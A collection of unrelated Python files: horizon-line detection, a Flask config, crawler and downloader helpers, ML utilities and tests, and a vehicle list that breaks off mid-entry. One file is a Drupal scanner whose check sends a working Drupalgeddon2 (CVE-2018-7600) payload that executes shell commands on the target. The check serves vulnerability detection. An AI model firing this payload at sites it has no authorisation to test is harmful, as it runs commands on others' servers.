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489653
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import torch
import numpy as np
from torchvision import transforms
from skimage import color
from skimage.io import imsave
from skimage.draw import line, set_color, circle
from model import Model
import time
import warnings
import argparse
import os
from ngdsac import NGDSAC
from loss import Loss
import cv2
parser = argparse.ArgumentParser(description='Estimate horizon lines using a trained (NG-)DSAC network.', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('input', type=str,
help='input file to process, any image or video format supported by OpenCV')
parser.add_argument('--model', '-m', default='models/weights_ngdsac_pretrained.net',
help='a trained network')
parser.add_argument('--capacity', '-c', type=int, default=4,
help='controls the model capactiy of the network, must match the model to load (multiplicative factor for number of channels)')
parser.add_argument('--imagesize', '-is', type=int, default=256,
help='size of input images to the network, must match the model to load')
parser.add_argument('--inlierthreshold', '-it', type=float, default=0.05,
help='threshold used in the soft inlier count, relative to image size')
parser.add_argument('--inlieralpha', '-ia', type=float, default=0.1,
help='scaling factor for the soft inlier scores (controls the peakiness of the hypothesis distribution)')
parser.add_argument('--inlierbeta', '-ib', type=float, default=100.0,
help='scaling factor within the sigmoid of the soft inlier count')
parser.add_argument('--hypotheses', '-hyps', type=int, default=16,
help='number of line hypotheses sampled for each image')
parser.add_argument('--uniform', '-u', action='store_true',
help='disable neural-guidance and sample data points uniformely, use with a DSAC model')
parser.add_argument('--scorethreshold', '-st', type=float, default=0.4,
help='threshold on soft inlier count for drawing the estimate (range 0-1)')
parser.add_argument('--verbose', '-v', action='store_true',
help='add vizualizations of neural guidance, soft inler count and hypothesis score to the output')
opt = parser.parse_args()
output_folder = 'out_' + opt.input
if not os.path.isdir(output_folder): os.makedirs(output_folder)
# setup ng dsac estimator
ngdsac = NGDSAC(opt.hypotheses, opt.inlierthreshold, opt.inlierbeta, opt.inlieralpha, Loss(opt.imagesize), 1)
# load network
nn = Model(opt.capacity)
nn.load_state_dict(torch.load(opt.model))
nn.eval()
nn = nn.cuda()
def process_frame(image):
'''
Estimate horizon line for an image and return a visualization.
image -- 3 dim numpy image tensor
'''
# determine image scaling factor
image_scale = max(image.shape[0], image.shape[1])
image_scale = opt.imagesize / image_scale
# convert image to RGB
if len(image.shape) < 3:
image = color.gray2rgb(image)
# store original image dimensions
src_h = int(image.shape[0] * image_scale)
src_w = int(image.shape[1] * image_scale)
# resize and to gray scale
image = transforms.functional.to_pil_image(image)
image = transforms.functional.resize(image, (src_h, src_w))
image = transforms.functional.adjust_saturation(image, 0)
image = transforms.functional.to_tensor(image)
# make image square by zero padding
padding_left = int((opt.imagesize - image.size(2)) / 2)
padding_right = opt.imagesize - image.size(2) - padding_left
padding_top = int((opt.imagesize - image.size(1)) / 2)
padding_bottom = opt.imagesize - image.size(1) - padding_top
padding = torch.nn.ZeroPad2d((padding_left, padding_right, padding_top, padding_bottom))
image = padding(image)
image_src = image.clone().unsqueeze(0)
# normalize image (mean and variance), values estimated offline from HLW training set
img_mask = image.sum(0) > 0
image[:,img_mask] -= 0.45
image[:,img_mask] /= 0.25
image = image.unsqueeze(0).cuda()
with torch.no_grad():
#predict data points and neural guidance
points, log_probs = nn(image)
if opt.uniform:
# overwrite neural guidance with uniform sampling probabilities
log_probs.fill_(1/log_probs.size(1))
log_probs = torch.log(log_probs)
# fit line with NG-DSAC, providing dummy ground truth labels
ngdsac(points, log_probs, torch.zeros((1,2)), torch.zeros((1)), torch.ones((1)), torch.ones((1)))
def draw_line(data, lX1, lY1, lX2, lY2, clr):
'''
Draw a line with the given color and opacity.
data -- image to draw to
lX1 -- x value of line segment start point
lY1 -- y value of line segment start point
lX2 -- x value of line segment end point
lY2 -- y value of line segment end point
clr -- line color, triple of values
'''
rr, cc = line(lY1, lX1, lY2, lX2)
set_color(data, (rr, cc), clr)
def draw_models(labels, clr, data):
'''
Draw circles for a batch of images.
labels -- line parameters, array shape (Nx2) where
N is the number of images in the batch
2 is the number of line parameters (offset, slope)
data -- batch of images to draw to
'''
# number of image in batch
n = labels.shape[0]
for i in range (n):
#line
lY1 = int(labels[i, 0] * opt.imagesize)
lY2 = int(labels[i, 1] * opt.imagesize + labels[i, 0] * opt.imagesize)
draw_line(data[i], 0, lY1, opt.imagesize, lY2, clr)
return data
def draw_wpoints(points, data, weights, clrmap):
'''
Draw 2D points for a batch of images.
points -- 2D points, array shape (Nx2xM) where
N is the number of images in the batch
2 is the number of point dimensions (x, y)
M is the number of points
data -- batch of images to draw to
weights -- array shape (NxM), one weight per point, for visualization
clrmap -- OpenCV color map for visualizing weights
'''
# create explicit color map
color_map = np.arange(256).astype('u1')
color_map = cv2.applyColorMap(color_map, clrmap)
color_map = color_map[:,:,::-1] # BGR to RGB
n = points.shape[0] # number of images
m = points.shape[2] # number of points
for i in range (0, n):
s_idx = weights[i].sort(descending=False)[1] # draw low weight points first
weights[i] = weights[i] / weights[i].max() # normalize weights for visualization
for j in range(0, m):
idx = int(s_idx[j])
# convert weight to color
clr_idx = float(min(1, weights[i,idx]))
clr_idx = int(clr_idx * 255)
clr = color_map[clr_idx, 0] / 255
# draw point
r = int(points[i, 0, idx] * opt.imagesize)
c = int(points[i, 1, idx] * opt.imagesize)
rr, cc = circle(r, c, 2)
set_color(data[i], (rr, cc), clr)
return data
# normalized inlier score of the estimated line
score = ngdsac.batch_inliers[0].sum() / points.shape[2]
image_src = image_src.cpu().permute(0,2,3,1).numpy() #Torch to Numpy
viz_probs = image_src.copy() * 0.2 # make a faint copy of the input image
# draw estimated line
if score > opt.scorethreshold:
image_src = draw_models(ngdsac.est_parameters, clr=(0,0,1), data=image_src)
viz = [image_src]
if opt.verbose:
# create additional visualizations
# draw faint estimated line
viz_score = viz_probs.copy()
viz_probs = draw_models(ngdsac.est_parameters, clr=(0.3,0.3,0.3), data=viz_probs)
viz_inliers = viz_probs.copy()
# draw predicted points with neural guidance and soft inlier count, respectively
viz_probs = draw_wpoints(points, viz_probs, weights=torch.exp(log_probs), clrmap=cv2.COLORMAP_PLASMA)
viz_inliers = draw_wpoints(points, viz_inliers, weights=ngdsac.batch_inliers, clrmap=cv2.COLORMAP_WINTER)
# create a explicit color map for visualize score of estimate line
color_map = np.arange(256).astype('u1')
color_map = cv2.applyColorMap(color_map, cv2.COLORMAP_HSV)
color_map = color_map[:,:,::-1]
# map score to color
score = int(score*100) #using only the first portion of HSV to get a nice (red, yellow, green) gradient
clr = color_map[score, 0] / 255
viz_score = draw_models(ngdsac.est_parameters, clr=clr, data=viz_score)
viz = viz + [viz_probs, viz_inliers, viz_score]
#undo zero padding of inputs
if padding_left > 0:
viz = [img[:,:,padding_left:,:] for img in viz]
if padding_right > 0:
viz = [img[:,:,:-padding_right,:] for img in viz]
if padding_top > 0:
viz = [img[:,padding_top:,:,:] for img in viz]
if padding_bottom > 0:
viz = [img[:,:-padding_bottom,:,:] for img in viz]
# convert to a single uchar image
viz = np.concatenate(viz, axis=2)
viz = viz * 255
viz = viz.astype('u1')
return viz[0]
# try to read input as image
image = cv2.imread(opt.input)
if image is not None:
#success, it was an image
viz = process_frame(image)
imsave(output_folder + '/result.png', viz)
else:
#failure, try interpreting it as video
cap = cv2.VideoCapture(opt.input)
iteration = 0
while(cap.isOpened()):
ret, image = cap.read()
if not ret:
break
print("Processing frame %5d." % iteration)
viz = process_frame(image)
imsave(output_folder + '/frame_' + str(iteration).zfill(5) + '.png', viz)
iteration = iteration + 1
print('Done.')
|
489665
|
import os
import datetime
from dotenv import load_dotenv
load_dotenv()
# class for secrets management
class FlaskConfig:
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URI')
SQLALCHEMY_TRACK_MODIFICATIONS = False
SECRET_KEY = os.environ['SECRET_KEY']
REMEMBER_COOKIE_DURATION = datetime.timedelta(minutes=30)
# class for app setup
class ModelConfig:
MAX_CONCURRENT_MODELS = 30
HISTORY_SIZE = 100
INPUT_PARAMETER_TIMEOUT = 60*30 # in seconds
CACHE_TIMEOUT = 60*60*2 # in seconds
|
489678
|
import sys
import os
# extend the path with the current file, allows the use of other CMS scripts
sys.path.insert(0, os.path.dirname(__file__))
import cms_scanner
import re
import json
import random
try:
from urlparse import urljoin, urlparse
except ImportError:
from urllib.parse import urljoin, urlparse
class Scanner(cms_scanner.Scanner):
def __init__(self):
self.name = "drupal"
self.update_frequency = 3600 * 48
def get_version(self, url):
text = self.get(urljoin(url, "CHANGELOG.txt"))
if text:
version_check_1 = re.search('Drupal (\d+\.\d+)', text.text)
if version_check_1:
self.logger.info(
"Detected %s version %s on %s trough changelog file" % (self.name, version_check_1.group(1), url))
return version_check_1.group(1)
text = self.get(url)
if text:
version_check_2 = re.search('<meta name="generator" content="Drupal (\d+)', text.text)
if version_check_2:
self.logger.info(
"Detected %s version %s on %s trough generator tag" % (self.name, version_check_2.group(1), url))
return version_check_2.group(1)
self.logger.warning("Unable to determine CMS version on url %s" % url)
return None
def test(self, url):
checks = []
rand = random.randint(10000, 99999)
dupa = urljoin(url, "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax")
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
'mail[#type]': 'markup', 'mail[#markup]': 'echo "%d" | tee output.txt' % rand}
result = self.get(dupa, data=payload)
check = self.get(urljoin(url, "output.txt"))
if check and check.code == 200 and rand in check.text:
self.logger.warning("CMS %s appears to be vulnerable to Drupalgeddon2 CVE-2018-7600" % self.name)
checks.append({'check': 'Drupalgeddon2: CVE-2018-7600', 'vuln': True, 'info': 'Random string was written to file'})
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
'mail[#type]': 'markup', 'mail[#markup]': 'rm output.txt'}
self.logger.info("Cleaning up exploit data on remote host")
self.get(dupa, data=payload)
else:
checks.append({'check': 'CVE-2018-7600', 'vuln': False, 'info': 'Command was not executed'})
return checks
def run(self, base):
self.set_logger()
self.setup()
version = self.get_version(base)
checks = self.test(base)
return {
'version': version,
'checks': checks
}
|
489705
|
import numpy as np
import math
def get_ore(amount_needed, chemical, reactions, spare_parts):
if chemical == "ORE":
return amount_needed
amount_produced = int(reactions[chemical][0])
amount_reactions_needed = math.ceil(amount_needed / amount_produced)
ueberschuss = amount_reactions_needed * amount_produced - amount_needed
if ueberschuss > 0:
if not chemical in spare_parts:
spare_parts[chemical] = 0
spare_parts[chemical] += ueberschuss
input_required = reactions[chemical][1:]
ore_needed = 0
for input_reaction in input_required:
in_amount = amount_reactions_needed * int(input_reaction.split(" ")[0])
in_chemical = input_reaction.split(" ")[1]
if in_chemical in spare_parts:
if spare_parts[in_chemical] >= in_amount:
spare_parts[in_chemical] -= in_amount
continue
else:
in_amount -= spare_parts[in_chemical]
spare_parts[in_chemical] = 0
ore_needed += get_ore(in_amount, in_chemical, reactions, spare_parts)
return ore_needed
with open("input.txt") as fd:
reactions = dict()
for line in fd:
reaction_output = line.strip().split(" => ")[1]
reaction_input = line.strip().split(" => ")[0].strip().split(", ")
tmp = [int(reaction_output.split(" ")[0])]
tmp.extend(reaction_input)
reactions[reaction_output.split(" ")[1]] = tmp
spare_parts = dict()
ore = get_ore(1, "FUEL", reactions, spare_parts)
print("Star 1:",ore)
print("Star 2: Maximum 11788286 fuel can be produced (manual binary search :-)")
# ore = get_ore(11788286, "FUEL", reactions, spare_parts)
|
489706
|
import os
import json
import base64
import click
import requests
import htmlmin
from html_cluster.settings import (
HTML_CLUSTER_DATA_DIRECTORY, SPLASH_URL, USER_AGENT, SPLASH_TIMEOUT, ALLOW_STATUS_CODE
)
from html_cluster.utils.common import get_file_name
from html_cluster.utils.url import FileUrlsReader
from html_cluster.utils.html import is_html_page_from_string
HELP = '''
'''
SHORT_HELP = 'Download html from the urls and store it in a folder.'
def splash_request(url, splash_url):
splash_url = splash_url.rstrip('/') + '/render.json'
headers = {
'content-type': 'application/json',
'user-agent': USER_AGENT
}
params = {
'html': 1,
'png': 1,
'width': 400,
'height': 300,
'timeout': SPLASH_TIMEOUT,
'images': 0,
'url': url
}
return requests.get(splash_url, headers=headers, params=params)
def make_request(url, **kwargs):
if 'splash' in kwargs and kwargs['splash']:
if 'splash_url' in kwargs:
return splash_request(url, kwargs['splash_url'])
else:
return splash_request(url, SPLASH_URL)
return requests.get(url, headers={'user-agent': USER_AGENT})
def extract_html(url, splash, splash_url):
is_error = False
image = ''
error = ''
html = ''
try:
r = make_request(
url, splash=splash, splash_url=splash_url
)
html = r.text
if r.status_code not in ALLOW_STATUS_CODE:
raise Exception('The status code of url: {} is {}'.format(url, r.status_code))
if splash:
if 'application/json' not in r.headers['Content-Type']:
raise Exception('The content type of url: {} is {}'.format(url, r.headers['Content-Type']))
json_response = json.loads(html)
if 'html' not in json_response:
raise Exception('The content type of url: {} is not html'.format(url))
html = json_response['html']
image = base64.b64decode(json_response['png'])
if not is_html_page_from_string(html):
raise Exception('The content type of url: {} is not html'.format(url))
else:
if 'text/html' not in r.headers['Content-Type']:
raise Exception('The content type of url: {} is {}'.format(url, r.headers['Content-Type']))
except Exception as e:
error = str(e)
is_error = True
return {
'html': html,
'error': error,
'image': image
}, is_error
def download_html(urls_file, output_directory, is_splash_request_enable=False, splash_url=SPLASH_URL):
if not os.path.exists(output_directory):
os.makedirs(output_directory)
urls = FileUrlsReader(urls_file).read()
for url in urls:
click.echo(click.style('Downloading {}'.format(url)))
extracted_html, error = extract_html(
url,
splash=is_splash_request_enable,
splash_url=splash_url,
)
if not error:
html_file_name = get_file_name(url)
click.echo(
click.style(
' --> Saving {}/{}'.format(output_directory, html_file_name), fg='green'
)
)
with open('{}/{}.html'.format(output_directory, html_file_name), 'w') as html_file:
html_file.write(htmlmin.minify(extracted_html['html'], remove_comments=True))
if extracted_html['image']:
with open('{}/{}.png'.format(output_directory, html_file_name), 'wb') as png_file:
png_file.write(extracted_html['image'])
else:
click.echo(
click.style(
' --> There was a problem with url: {}, error: {}.'.format(url, extracted_html['error']), fg='red'
)
)
@click.command(help=HELP, short_help=SHORT_HELP)
@click.argument('urls_file', type=click.Path(exists=True))
@click.option('--output-directory', default=HTML_CLUSTER_DATA_DIRECTORY)
@click.option('--splash-enabled/--no-splash-enabled', default=False)
@click.option('--splash-url', default=SPLASH_URL)
def cli(urls_file, output_directory, splash_enabled, splash_url):
download_html(urls_file, output_directory, splash_enabled, splash_url)
|
489755
|
import gc
import gzip
import operator as op
from functools import reduce
from pathlib import Path
import torch
from rtg import log
import inspect
import shutil
import os
from datetime import datetime
import atexit
from typing import Tuple
import resource
import sys
import numpy as np
import subprocess
from itertools import zip_longest
# Size of each element in tensor
tensor_size = {
'torch.Tensor': 4,
'torch.FloatTensor': 4,
'torch.DoubleTensor': 8,
'torch.HalfTensor': 2,
'torch.ByteTensor': 1,
'torch.CharTensor': 1,
'torch.ShortTensor': 2,
'torch.IntTensor': 4,
'torch.LongTensor': 8
}
tensor_size.update({t.replace('torch.', 'torch.cuda.'): size for t, size in tensor_size.items()})
def log_tensor_sizes(writer=log.info, min_size=1024):
"""
Forces garbage collector and logs all the current tensors
:return:
"""
log.info("Collecting tensor allocations")
gc.collect()
def is_tensor(obj):
if torch.is_tensor(obj):
return True
try: # some native objects raise exceptions
return hasattr(obj, 'data') and torch.is_tensor(obj.data)
except:
return False
tensors = filter(is_tensor, gc.get_objects())
stats = ((reduce(op.mul, obj.size()) if len(obj.size()) > 0 else 0,
obj.type(), tuple(obj.size()), hex(id(obj))) for obj in tensors)
stats = ((n * tensor_size[typ], n, typ, *blah) for n, typ, *blah in stats)
stats = (x for x in stats if x[0] > min_size)
sorted_stats = sorted(stats, key=lambda x: x[0])
writer("####\tApprox Bytes\tItems \tShape \tObject ID")
lines = (f'{i:4}\t{size:12,}\t{n:12,}\t{typ}\t{shape}\t{_id}'
for i, (size, n, typ, shape, _id) in enumerate(sorted_stats))
log.info("==== Tensors and memories === ")
for i, l in enumerate(lines):
writer(l)
total = sum(rec[0] for rec in sorted_stats)
log.info(f'Total Bytes by tensors bigger than {min_size} is (approx):{total:,}')
def line_count(path, ignore_blanks=False):
"""count number of lines in file
:param path: file path
:param ignore_blanks: ignore blank lines
"""
with IO.reader(path) as reader:
count = 0
for line in reader:
if ignore_blanks and not line.strip():
continue
count += 1
return count
def get_my_args(exclusions=None):
"""
get args of your call. you = a function
:type exclusions: List of arg names that should be excluded from return dictionary
:return: dictionary of {arg_name: argv_value} s
"""
_, _, _, args = inspect.getargvalues(inspect.currentframe().f_back)
for excl in ['self', 'cls', '__class__'] + (exclusions or []):
if excl in args:
del args[excl]
return args
class IO:
"""File opener and automatic closer"""
def __init__(self, path, mode='r', encoding=None, errors=None):
self.path = path if type(path) is Path else Path(path)
self.mode = mode
self.fd = None
self.encoding = encoding if encoding else 'utf-8' if 't' in mode else None
self.errors = errors if errors else 'replace'
def __enter__(self):
if self.path.name.endswith(".gz"): # gzip mode
self.fd = gzip.open(self.path, self.mode, encoding=self.encoding, errors=self.errors)
else:
if 'b' in self.mode: # binary mode doesnt take encoding or errors
self.fd = self.path.open(self.mode)
else:
self.fd = self.path.open(self.mode, encoding=self.encoding, errors=self.errors,
newline='\n')
return self.fd
def __exit__(self, _type, value, traceback):
self.fd.close()
@classmethod
def reader(cls, path, text=True):
return cls(path, 'rt' if text else 'rb')
@classmethod
def writer(cls, path, text=True, append=False):
return cls(path, ('a' if append else 'w') + ('t' if text else 'b'))
@classmethod
def get_lines(cls, path, col=0, delim='\t', line_mapper=None, newline_fix=True):
with cls.reader(path) as inp:
if newline_fix and delim != '\r':
inp = (line.replace('\r', '') for line in inp)
if col >= 0:
inp = (line.split(delim)[col].strip() for line in inp)
if line_mapper:
inp = (line_mapper(line) for line in inp)
yield from inp
@classmethod
def get_liness(cls, *paths, **kwargs):
for path in paths:
yield from cls.get_lines(path, **kwargs)
@classmethod
def write_lines(cls, path: Path, text):
if isinstance(text, str):
text = [text]
with cls.writer(path) as out:
for line in text:
out.write(line)
out.write('\n')
@classmethod
def copy_file(cls, src: Path, dest: Path, follow_symlinks=True):
log.info(f"Copy {src} → {dest}")
assert src.resolve() != dest.resolve()
shutil.copy2(str(src), str(dest), follow_symlinks=follow_symlinks)
@classmethod
def maybe_backup(cls, file: Path):
if file.exists():
time = datetime.now().strftime('%Y%m%d_%H%M%S_%f')
dest = file.with_suffix(f'.{time}')
log.info(f"Backup {file} → {dest}")
file.rename(dest)
@classmethod
def safe_delete(cls, path: Path):
try:
if path.exists():
if path.is_file():
log.info(f"Delete file {path}")
path.unlink()
elif path.is_dir():
log.info(f"Delete dir {path}")
path.rmdir()
else:
log.warning(f"Coould not delete {path}")
except:
log.exception(f"Error while clearning up {path}")
@classmethod
def maybe_tmpfs(cls, file: Path):
"""
Optionally copies a file to tmpfs that maybe fast.
:param file: input file to be copied to
:return: file that maybe on tmp fs
"""
tmp_dir = os.environ.get('RTG_TMP')
if tmp_dir:
tmp_dir = Path(tmp_dir)
usr_dir = str(Path('~/').expanduser())
new_path = str(file.absolute()).replace(usr_dir, '').lstrip('/')
tmp_file = tmp_dir / new_path
tmp_file.parent.mkdir(parents=True, exist_ok=True)
if file.exists():
assert file.is_file()
cls.copy_file(file, tmp_file)
file = tmp_file
atexit.register(cls.safe_delete, tmp_file)
return file
@classmethod
def parallel_read(cls, file1, file2, *files, tokrs=None):
inputs = [file1, file2] + (files or [])
if tokrs:
assert len(tokrs) == len(inputs)
readers = [IO.reader(f).__enter__() for f in inputs]
try:
for rec in zip_longest(*readers):
assert all(x is not None for x in rec)
if tokrs:
rec = [tokr(x) for tokr, x in zip(tokrs, rec)]
yield rec
finally:
for r in readers:
try:
r.close()
except:
pass
def max_RSS(who=resource.RUSAGE_SELF) -> Tuple[int, str]:
"""Gets memory usage of current process, maximum so far.
Maximum so far, since the system call API doesnt provide "current"
:returns (int, str)
int is a value from getrusage().ru_maxrss
str is human friendly value (best attempt to add right units)
"""
mem = resource.getrusage(who).ru_maxrss
h_mem = mem
if 'darwin' in sys.platform: # "man getrusage 2" says we get bytes
h_mem /= 10 ** 3 # bytes to kilo
unit = 'KB'
if h_mem >= 10 ** 3:
h_mem /= 10 ** 3 # kilo to mega
unit = 'MB'
return mem, f'{int(h_mem)}{unit}'
def maybe_compress(arr, frugal=False):
# python list wastes a lot of memory: references to each item, and int is 28 bytes
if isinstance(arr[0], int):
return np.array(arr, dtype=np.int32 if frugal else np.int64)
elif isinstance(arr[0], float):
return np.array(arr, dtype=np.float32 if frugal else np.float64)
else:
# fall back to basic list of python
return np.array(arr, dtype=object)
def shell_pipe(cmd_line, input, cwd=None):
with subprocess.Popen(cmd_line, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
shell=True, text=True, cwd=cwd) as proc:
try:
proc.stdin.write(f'{input}')
proc.stdin.close()
proc.wait()
output = proc.stdout.read()
proc.stdout.close()
return output
finally:
proc.terminate()
|
489792
|
from .organisation import EXTERNAL_LINKS, Organisation
from .organisation_link import OrganisationLink
from .organisation_location import OrganisationLocation
from .organisation_type import OrganisationType
from .orgid import Orgid, OrgidField
from .orgid_scheme import OrgidScheme
from .related_organisation import RelatedOrganisation
from .scrape import Scrape
from .source import Source
__all__ = [
"Organisation",
"EXTERNAL_LINKS",
"OrganisationLink",
"OrganisationLocation",
"OrganisationType",
"OrgidField",
"Orgid",
"OrgidScheme",
"RelatedOrganisation",
"Scrape",
"Source",
]
|
489825
|
from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import
from future import standard_library
standard_library.install_aliases()
from builtins import str
from builtins import range
from rlpy.Representations import iFDD
from rlpy.Representations import IndependentDiscretizationCompactBinary
import rlpy.Domains
import numpy as np
STDOUT_FILE = 'out.txt'
JOB_ID = 1
RANDOM_TEST = 0
sparsify = True
discovery_threshold = 1
def deterministic_test():
discovery_threshold = 1
sparsify = True
domain = rlpy.Domains.SystemAdministrator()
initialRep = IndependentDiscretizationCompactBinary(domain)
rep = iFDD(domain, discovery_threshold, initialRep,
debug=0, useCache=1, sparsify=sparsify)
rep.theta = np.arange(rep.features_num * domain.actions_num) * 10
print('Initial [0,1] => ', end=' ')
ANSWER = np.sort(rep.findFinalActiveFeatures([0, 1]))
print(ANSWER)
assert np.array_equal(ANSWER, np.array([0, 1]))
# rep.show()
print(rep.inspectPair(0, 1, discovery_threshold + 1))
# rep.show()
ANSWER = np.sort(rep.findFinalActiveFeatures([0, 1]))
print(ANSWER)
assert np.array_equal(ANSWER, np.array([21]))
print('Initial [2,3] => ', end=' ')
ANSWER = np.sort(rep.findFinalActiveFeatures([2, 3]))
print(ANSWER)
assert np.array_equal(ANSWER, np.array([2, 3]))
# rep.showCache()
# rep.showFeatures()
# rep.showCache()
print('Initial [0,20] => ', end=' ')
ANSWER = np.sort(rep.findFinalActiveFeatures([0, 20]))
print(ANSWER)
assert np.array_equal(ANSWER, np.array([0, 20]))
print('Initial [0,1,20] => ', end=' ')
ANSWER = np.sort(rep.findFinalActiveFeatures([0, 1, 20]))
print(ANSWER)
assert np.array_equal(ANSWER, np.array([20, 21]))
rep.showCache()
# Change the weight for new feature 40
rep.theta[40] = -100
print('Initial [0,20] => ', end=' ')
ANSWER = np.sort(rep.findFinalActiveFeatures([0, 20]))
print(ANSWER)
assert np.array_equal(ANSWER, np.array([0, 20]))
print('discover 0,1,20')
rep.inspectPair(20, rep.features_num - 1, discovery_threshold + 1)
# rep.showFeatures()
# rep.showCache()
print('Initial [0,1,20] => ', end=' ')
ANSWER = np.sort(rep.findFinalActiveFeatures([0, 1, 20]))
print(ANSWER)
assert np.array_equal(ANSWER, np.array([22]))
rep.showCache()
print('Initial [0,1,2,3,4,5,6,7,8,20] => ', end=' ')
ANSWER = np.sort(
rep.findFinalActiveFeatures([0, 1, 2, 3, 4, 5, 6, 7, 8, 20]))
print(ANSWER)
assert np.array_equal(ANSWER, np.array([2, 3, 4, 5, 6, 7, 8, 22]))
# rep.showCache()
import nose.tools
@nose.tools.nottest
def random_test():
discovery_threshold
TRIALS = 200
K = 5 # number of randomly activated features
domain = Domains.PST()
np.random.seed(999999999)
initialRep = IndependentDiscretizationCompactBinary(domain)
rep = iFDD(
domain,
discovery_threshold,
initialRep,
debug=0,
useCache=1,
iFDDPlus=0)
rep.theta = np.arange(rep.features_num * domain.actions_num) * 10
n = rep.features_num
for i in range(TRIALS):
phi = np.zeros(n, 'bool')
for j in range(K):
ind = np.random.randint(0, n - 1)
phi[ind] = 1
threshold = np.random.rand() * 2 - 1
print('%d: %0.2f >> %s' % (i + 1, threshold, str(phi.nonzero()[0])))
rep.discover(phi, threshold)
rep.show()
|
489876
|
from inqry import barcode
def test_barcode_data_delayify():
assert barcode.delayify('foo') == '~dfoo'
def test_barcode_data_delayify_long():
assert barcode.delayify('foo', 2) == '~d~dfoo'
def test_barcode_data_textify():
assert barcode.textify('foo') == '~dfoo~d~t'
def test_barcode_data_listify():
assert barcode.listify('foo') == '~d\x20~dfoo~d~e~d~t'
|
489948
|
import os
import re
from urllib.parse import urlparse, unquote
from crawler.utils import special_chars, html_pattern
def trans_query_for_local_link(local_link, query_str):
'''
将url中query部分中的特殊字符替换掉, 防止在写入本地文件时文件名非法.
'''
for k, v in special_chars.items():
if k in query_str: query_str = query_str.replace(k, v)
local_link = local_link + special_chars['?'] + query_str
return local_link
def trans_to_local_link_for_page(urlObj):
origin_path = urlObj.path
origin_query = urlObj.query
local_link = origin_path
if local_link == '': local_link = 'index.html'
if local_link.endswith('/'): local_link += 'index.html'
## 有些静态文件通过query参数表示版本号, 带上这个可以避免缓存问题
if origin_query != '': local_link = trans_query_for_local_link(local_link, origin_query)
if not re.search(html_pattern, local_link): local_link += '.html'
return local_link
def trans_to_local_link_for_asset(urlObj):
origin_path = urlObj.path
origin_query = urlObj.query
local_link = origin_path
if local_link == '': local_link = 'index'
if local_link.endswith('/'): local_link += 'index'
if origin_query != '': local_link = trans_query_for_local_link(local_link, origin_query)
return local_link
def trans_to_local_link(url, url_type, main_site):
'''
@param
url: 待处理的url, 有时url为动态链接, 包含&, ?等特殊字符, 这种情况下需要对其进行编码.
is_page: 是否为页面, 包含.php, .asp等动态页面, 区别于常规静态资源. 我们需要根据这个参数判断是否需要对其加上.html后缀.
@return
local_link: 本地文件存储路径, 用于写入本地html文档中的link/script/img/a等标签的链接属性
'''
## 对于域名为host的url, 资源存放目录为output根目录, 而不是域名文件夹. 默认不设置主host
urlObj = urlparse(url)
origin_host = urlObj.netloc
local_link = ''
if url_type == 'page':
local_link = trans_to_local_link_for_page(urlObj)
else:
local_link = trans_to_local_link_for_asset(urlObj)
## 如果该url就是当前站点域名下的，那么无需新建域名目录存放.
## 如果是其他站点的(需要事先开启允许下载其他站点的配置),
## 则要将资源存放在以站点域名为名的目录下, 路径中仍然需要保留域名部分.
## 有时host中可能包含冒号, 需要转义.
if origin_host != main_site:
local_link = '/' + origin_host.replace(':', special_chars[':']) + local_link
## url中可能包含中文, 需要解码.
local_link = unquote(local_link)
return local_link
def trans_to_local_path(url, url_type, main_site):
'''
@return
file_path: 目标文件的存储目录, 相对路径(不以/开头), 为''时, 表示当前目录
file_name: 目标文件名称
'''
local_link = trans_to_local_link(url, url_type, main_site)
## 如果是站外资源, local_link可能为/www.xxx.com/static/x.jpg,
## 但我们需要的存储目录是相对路径, 所以需要事先将链接起始的/移除
if local_link.startswith('/'): local_link = local_link[1:]
file_dir = os.path.dirname(local_link)
file_name = os.path.basename(local_link)
return file_dir, file_name
|
489963
|
vehicles = [
{
"Year": 2020,
"Make": "Audi",
"Model": "Q3",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Malibu",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Cadillac",
"Model": "Escalade ESV",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Corvette",
"Category": "Coupe, Convertible"
},
{
"Year": 2020,
"Make": "Acura",
"Model": "RLX",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "BMW",
"Model": "3 Series",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Chrysler",
"Model": "Pacifica",
"Category": "Van/Minivan"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Colorado Crew Cab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "BMW",
"Model": "X3",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Acura",
"Model": "TLX",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Silverado 3500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "BMW",
"Model": "7 Series",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Fusion",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Buick",
"Model": "Envision",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Audi",
"Model": "SQ5",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Audi",
"Model": "R8",
"Category": "Coupe, Convertible"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Traverse",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Acura",
"Model": "MDX",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "INFINITI",
"Model": "QX80",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Buick",
"Model": "Encore",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "GMC",
"Model": "Sierra 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "Insight",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Cadillac",
"Model": "XT6",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Cadillac",
"Model": "XT5",
"Category": "SUV"
},
{
"Year": 2020,
